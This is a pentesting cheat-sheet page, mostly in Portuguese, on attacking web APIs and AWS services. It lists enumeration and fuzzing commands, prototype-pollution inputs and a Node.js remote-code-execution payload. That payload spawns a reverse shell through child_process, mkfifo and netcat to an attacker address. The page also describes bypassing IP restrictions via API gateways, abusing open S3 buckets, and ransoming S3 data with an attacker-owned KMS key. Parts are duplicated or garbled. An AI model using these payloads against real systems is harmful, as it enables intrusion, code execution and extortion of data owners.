Pentesting
  • API Pentesting
  • Pivoting techniques
  • Aquatone
  • NOSQL injections
  • Basic LDAP Injection
  • Basic authentication bypass
  • SERVER SIDE REQUEST FORGERY (SSRF)
  • SQL injections
  • SSTI
  • Easy - No Protections
  • GENERAL INFORMATION
  • XML External Entity (XXE) Injection Payloads
  • Post exploitation techniques
  • Hashcat Cheatsheet
  • John The Ripper Cheatsheet
  • Cracking files
  • Wordlists & co.
  • WinRM (Windows Remote Management) Pentesting
  • API windows
  • Command find priv /esc
  • Crawl/Fuzz
  • HTTP Request Smuggling
  • Api keys
  • Pivoting, Tunneling, and Port Forwarding
  • Shells & Payloads
  • API Recon
  • API Token Attacks
Powered by GitBook
On this page
  • Chamadas API Gateway
  • S3 Secutity
  • Cenário I - Meu S3 está aberto
  • Senario II - S3 Ransomware
  • Cenário III - Política de buckets aberta

API Pentesting

02/11/2023

NextPivoting techniques

Last updated 1 year ago

Change Methods # Methods GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED Endpoint Discovery Tente enumerar endpoints enquanto altera metodos HTTP como GET, POST, OPTIONS, etc. /api/?xml /api?xml /api/v1?xml /api/v1/user?xml # Web Service Description Language /api/?wsdl # Versions /api/v1/user /api/v2/user /api/v3/user # Wildcards /api/v2/user/* /api/v2/user/posts/* /api/v2/users/* # Path traversal /api/v1/post/..\private Automation # Dirb dirb https://vulnerable.com/ endpoints.txt # Ffuf ffuf -u https://vulnerable.com/FUZZ -w endpoints.txt ffuf -u https://vulnerable.com/FUZZ -X POST -w endpoints.txt ffuf -u https://vulnerable.com/api/FUZZ -w wordlist.txt ffuf -u https://example.com/api/?FUZZ=test -w wordlist.txt # Gobuster gobuster dir -u https://vulnerable.com/ -w endpoints.txt # Kiterunner # -A: wordlist type (ex. first 20000 words) # -x: max connection per host (default: 3) kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404 kr scan https://vulnerable.com:8443/api -A=apiroutes-210228:20000 -x 10 GET Parameters /api/v1/user?id=test /api/v1/user?name=test /api/v1/user?uuid=test /api/v1/status?live=test /api/v1/status?verbose=test Parameter Fuzzing # Key ffuf -u -w wordlist.txt ffuf -u -w wordlist.txt -fs 120 ffuf -X POST -u -w wordlist.txt ffuf -X POST -u -w wordlist.txt -fs 120 # Value ffuf -u -w wordlist.xt ffuf -u -w wordlist.txt -fs 120 ffuf -X POST -u -w wordlist.txt ffuf -X POST -u -w wordlist.txt -fs 120 Sending Unexpected Data Podemos encontrar qualquer coisa enviando dados inesperados no metodo POST ou PUT. {"email": "test@test.com"} {"email": true} {"email": 1} {"email": -1} {"email": ["test@test.com", true]} {"email": {"admin": true}} // Prototype Pollution {"email": "test@test.com", "__proto__": {"admin": true}} {"email": {"__proto__": {"admin": true}}} XSS Se pudermos enviar solicitações post (ou colocar) para endpoints da API, poderemos inserir cargas úteis e o resultado será refletido como a saída. XSS pode ser usado para esta exploração. SQL Injection sqlmap -u --dump --batch Node.js Remote Code Execution (RCE) Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript. # Get current working directory in the website /api/?key=process.cwd() Reverse Shell Podemos executar o shell reverso usando "child_process". Primeiro, inicie o ouvinte para obter um shell na máquina local. nc -lvnp 4444 Em seguida, envie a solicitação para o site com o parâmetro que executa o shell reverso usando child_process. /api/?key=require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> 4444 >/tmp/f') Same Session Across Multiple Versions and Instances For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login". "v1" uses "X-Token" and "v2" uses "X-Session". After login to "v1", you may be able to get access "v2" using the session key/value of "v1". X-Token: fc38ab5f5ae41072778d852023f9ee26 X-Session: fc38ab5f5ae41072778d852023f9ee26 XEE GET /api/product/1?xml HTTP/1.1 Se o site exibir a resposta em XML, poderemos fazer XXE.

𝗔𝗣𝗜 𝗚𝗮𝘁𝗲𝘄𝗮𝘆 - 𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆 Discutiremos algumas das implicações interessantes de segurança no API Gateway.

Desvio de restrição IP Vários gateways de API podem ser usados para ignorar a restrição de IP. Isso pode ser feito roteando solicitações via API Gateway aleatoriamente, que podem ignorar facilmente o bloqueio de IP e outras restrições baseadas em IP. Nesse caso, o usuário procuraria sua solicitação por meio do API Gateway escolhido aleatoriamente, que ajuda a mascarar seu IP e, posteriormente, envia a solicitação ao servidor com o IP mascarado.

Atacando gateways públicos não autenticados

A autenticação no gateway de API pública não ocorre por padrão. Portanto, é completamente possível acionar o destino do API Gateway da Internet se o Gateway não estiver protegido. Cenário: a enumeração inicial descobriu uma função lambda que executa um conjunto especial de instruções com base na entrada do usuário e é acionada pelo API Gateway. Também descobrimos que o API Gateway não é autenticado e é público na Internet. Exemplo: Abaixo está o código da função lambda: - def lambda_handler(event,context): ...... argument = event['rawQueryString'] if argument == "this_is_normal": printf("This is lambda") elif argument == "this_is_changed": printf("Flag: {secuirtylabs_api_gateways}") Nossa enumeração inicial também descobriu o ponto final da API anexado ao lambda. Verificou-se que o ponto final da API era https://test123.execute-api.ap-south-1.amazonaws.com/ Portanto, no caso acima, podemos manipular o campo de argumento e enviar uma solicitação de curvatura para o endpoint de destino. Solicitação: curl -X GET

Chamadas API Gateway

Aqui estão algumas chamadas populares da API Gateway e o que elas fazem: • get-integrations: Chamada da API para imprimir todas as integrações associadas ao api-id • get-routes: Chamada da API para imprimir todas as rotas associadas ao api-id • get-stages: Chamada da API para imprimir todas as etapas associadas ao api-id

S3 Secutity

A seguir, alguns cenários de segurança interessantes:

Cenário I - Meu S3 está aberto

Muitas vezes, o balde S3 é aberto ao mundo e permite acesso não autorizado de leitura e gravação. Esse foi o principal motivo da violação do CapitalOne. Para listar objetos em um balde S3 chamado "bucket de teste", basta visitar https://test-bucket.s3.amazonaws.com ou execute a seguinte chamada de API.

aws s3 ls s3://test-bucket

Senario II - S3 Ransomware

Cenário III - Política de buckets aberta

Muitas vezes, os usuários garantem que não tornem público o balde, mas uma política de balde mal configurada torna um balde público indiretamente. Por exemplo, considere a política abaixo: { "Version": "2012-10-17", "Statement": [ { "Sid": "Statement2", "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::securitylabs-articles/*" } ] } Esta política é uma política S3 vulnerável que indica que qualquer pessoa na Internet pode baixar objetos do meu balde securitylabs-articles . Aqui a parte vulnerável é o campo Principal que é * o que indica que qualquer pessoa na internet pode baixar objetos. Supondo que exista um objeto chamado note.txt para baixar o objeto, basta fazer a solicitação de curvatura abaixo

Compartilhamos uma pesquisa feita pela equipe RhinoSecurity, que é equivalente da nuvem para o Ransomware no S3. O balde S3 com acesso de gravação pode ser criptografado com uma chave KMS que pertence à conta do invasor. Nesse caso, o proprietário do balde não poderá descriptografar o conteúdo, pois a chave criptografada não pertence à sua conta. Depois que o balde for criptografado, o invasor poderá deixar ransom.txt como uma nota de resgate e resgatar o balde. Mais detalhes sobre esta pesquisa interessante podem ser encontrados

https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d
https://vulnerable.com/api/items?FUZZ=test
https://vulnerable.com/api/items?FUZZ=test
https://vulnerable.com/api/items?FUZZ=test
https://vulnerable.com/api/items?FUZZ=test
https://vulenrable.com/api/items?test=FUZZ
https://vulnerable.com/api/items?test=FUZZ
https://vulnerable.com/api/items?test=FUZZ
https://vulnerable.com/api/items?test=FUZZ
http://vulnerable.com/api/v2/fetch/?post=1
https://divyanshu-mehta.gitbook.io/researchs/aws-cloud-security/hacking-api-gateway
https://test123.execute-api.ap-south-1.amazonaws.com/?argument=this_is_changed
aqui
Page cover image